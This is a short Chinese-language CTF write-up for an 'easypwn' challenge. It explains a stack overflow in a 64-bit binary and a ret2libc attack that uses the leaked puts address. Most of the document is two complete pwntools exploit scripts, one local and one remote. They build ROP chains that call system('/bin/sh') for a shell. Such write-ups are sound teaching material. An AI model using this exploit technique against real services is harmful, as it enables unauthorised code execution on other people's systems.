pwn的签到题
64位
这里buf有个栈溢出,但是没有后门,没有system,没有/bin/sh
很明显的libc泄露题
程序运行一开始就把puts地址泄露出来了
puts
0x7fd1bbb356a0
那么思路就很明显了,用给的puts地址直接计算偏移即可,算出system和/bin/sh
有个问题就是如果要先打本地就要重新泄露puts地址,这个地方是个大坑,libc也不能用给的,需要用本地的libc
打本地的exp
from pwn import *
p=process('/home/pwn/Desktop/que/easypwn')
elf=ELF('/home/pwn/Desktop/que/easypwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_address=0x401186
system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()
pop_rdi=0x0000000000401273
puts_libc=libc.symbols['puts']
p.recvuntil("\n")
payload="a"*0x100+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_address)
p.sendline(payload)
p.recvuntil("\n")
puts_addr=u64(p.recv(6).ljust(8,'\0'))
print(hex(puts_addr))
base_address=puts_addr-puts_libc
system_address=base_address+system_libc
bin_address=base_address+bin_sh_libc
ret=0x000000000040101a
print(hex(base_address))
print(hex(system_address))
print(hex(bin_address))
payload2="a"*0x100+'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)
p.sendline(payload2)
p.interactive()
远程exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = remote('192.168.xx.xx', xxxx)#这里注意自己改哦
elf=ELF('/home/pwn/Desktop/que/easypwn')
libc=ELF('/home/pwn/Desktop/que/libc.so.6')#题目给的libc
system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()
puts_libc=libc.symbols['puts']
puts_addr=0x7f0c91b1f6a0
base_address=puts_addr-puts_libc
system_address=base_address+system_libc
bin_address=base_address+bin_sh_libc
print(hex(base_address))
print(hex(system_address))
print(hex(bin_address))
ret=0x000000000040101a
pop_rdi=0x0000000000401273
payload = 'a'*0x100 +'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)
p.sendline(payload)
p.interactive()